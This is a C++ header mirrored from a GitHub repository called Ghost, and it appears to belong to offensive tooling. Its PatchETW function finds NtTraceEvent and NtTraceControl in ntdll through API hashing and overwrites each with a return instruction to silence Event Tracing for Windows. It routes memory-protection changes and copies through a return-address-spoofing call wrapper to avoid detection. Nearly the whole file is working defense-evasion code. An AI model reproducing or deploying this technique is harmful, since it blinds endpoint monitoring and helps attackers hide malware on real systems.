mirror of
https://github.com/cpu0x00/Ghost
synced 2026-06-06 15:34:27 +00:00
cpu0x00
73 lines
2.7 KiB
C++
73 lines
2.7 KiB
C++
#pragma once
|
|
#include <windows.h>
|
|
#include <iostream>
|
|
#include "functions.h"
|
|
#include "retaddrspoof.h"
|
|
#include "types.h"
|
|
#include "resolvers.h"
|
|
#include "defs.h"
|
|
|
|
extern PVOID Gdgt;
|
|
|
|
|
|
int ValidateMemory(const void * ptr1, const void * ptr2, size_t num){
|
|
|
|
int result = reinterpret_cast<int>(RetSpoofCall(memcmp, 3, Gdgt, ptr1, ptr2, num));
|
|
|
|
return result;
|
|
}
|
|
|
|
|
|
void PatchETW() {
|
|
|
|
|
|
HMODULE hNT = GetLoadedDllHandleH(776560387);
|
|
|
|
unsigned char* pNtTraceEvent = reinterpret_cast<unsigned char*>(GetFunctionAddressH(hNT, 2226474731));
|
|
unsigned char* pNtTraceControl = reinterpret_cast<unsigned char*>(GetFunctionAddressH(hNT, 2097340520));
|
|
|
|
|
|
unsigned long dwOldProtectionEvent = 0;
|
|
unsigned long dwOldProtectionControl = 0;
|
|
unsigned long long ntsize = 1;
|
|
|
|
unsigned char* ControlProtectionOffset = pNtTraceControl + 3;
|
|
unsigned char* EventProtectionOffset = pNtTraceEvent + 3;
|
|
unsigned char sourceBuffer = 0xC3;
|
|
|
|
|
|
NTSTATUS Controlstatus = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &ControlProtectionOffset, &ntsize, PAGE_EXECUTE_READWRITE, &dwOldProtectionControl));
|
|
NTAPI_VALIDATE_RETURN2VOID(NtProtectControl, Controlstatus);
|
|
|
|
|
|
NTSTATUS Eventstatus = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &EventProtectionOffset, &ntsize, PAGE_EXECUTE_READWRITE, &dwOldProtectionEvent));
|
|
NTAPI_VALIDATE_RETURN2VOID(NtProtectEvent, Eventstatus);
|
|
|
|
|
|
RetSpoofCall(memcpy, 3, Gdgt , ControlProtectionOffset, &sourceBuffer, sizeof sourceBuffer );
|
|
|
|
if (ValidateMemory(ControlProtectionOffset, &sourceBuffer, sizeof(sourceBuffer)) != 0) {
|
|
fprintf(stderr, "Error: failed to patch etw function NtTraceControl: Data mismatch after copy.\n");
|
|
return;
|
|
}
|
|
|
|
|
|
RetSpoofCall(memcpy, 3, Gdgt , EventProtectionOffset, &sourceBuffer, sizeof sourceBuffer );
|
|
|
|
if (ValidateMemory(EventProtectionOffset, &sourceBuffer, sizeof(sourceBuffer)) != 0) {
|
|
fprintf(stderr, "Error: failed to patch etw function NtTraceEvent: Data mismatch after copy.\n");
|
|
return;
|
|
}
|
|
|
|
Controlstatus = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &ControlProtectionOffset, &ntsize, dwOldProtectionControl, &dwOldProtectionControl));
|
|
NTAPI_VALIDATE_RETURN2VOID(NtProtectControl2, Controlstatus);
|
|
|
|
|
|
Eventstatus = reinterpret_cast<NTSTATUS>(RetSpoofCall((void*)NtProtectVirtualMemory, 5, Gdgt, SELF_HANDLE, &EventProtectionOffset, &ntsize, dwOldProtectionEvent, &dwOldProtectionEvent));
|
|
NTAPI_VALIDATE_RETURN2VOID(NtProtectEvent2, Eventstatus);
|
|
|
|
#ifdef _DEBUG_PRINT
|
|
std::cout << "[DEBUG] Patched ETW !\n";
|
|
#endif
|
|
return;
|
|
} |